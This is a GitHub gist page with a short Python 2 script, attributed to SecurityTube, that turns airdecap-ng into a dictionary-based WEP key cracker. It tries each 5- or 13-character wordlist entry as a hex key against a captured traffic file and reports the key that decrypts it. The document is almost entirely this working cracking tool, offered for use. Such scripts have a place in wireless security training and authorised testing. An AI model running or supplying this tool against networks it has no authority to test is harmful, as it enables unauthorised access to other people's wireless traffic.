Skip to content

Instantly share code, notes, and snippets.

@securitytube
Created April 2, 2013 15:04
Show Gist options
  • Save securitytube/5292925 to your computer and use it in GitHub Desktop.
Save securitytube/5292925 to your computer and use it in GitHub Desktop.
Converting Airdecap-ng into a Word list based WEP Cracker
#!/usr/bin/python
# Author - Vivek Ramachandran vivek@securitytube.net
#
import sys, binascii, re
from subprocess import Popen, PIPE
f = open(sys.argv[1], 'r')
for line in f:
wepKey = re.sub(r'\W+', '', line)
if not (len(wepKey) == 5 or len(wepKey) == 13) :
continue
hexKey = binascii.hexlify(wepKey)
print "Trying with WEP Key: " +wepKey + " Hex: " + hexKey
p = Popen(['/usr/local/bin/airdecap-ng', '-w', hexKey, sys.argv[2]], stdout=PIPE)
output = p.stdout.read()
finalResult = output.split('\n')[4]
if finalResult.find('1') != -1 :
print "Success WEP Key Found: " + wepKey
sys.exit(0)
print "Failure! WEP Key Could not be Found with the existing dictionary!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment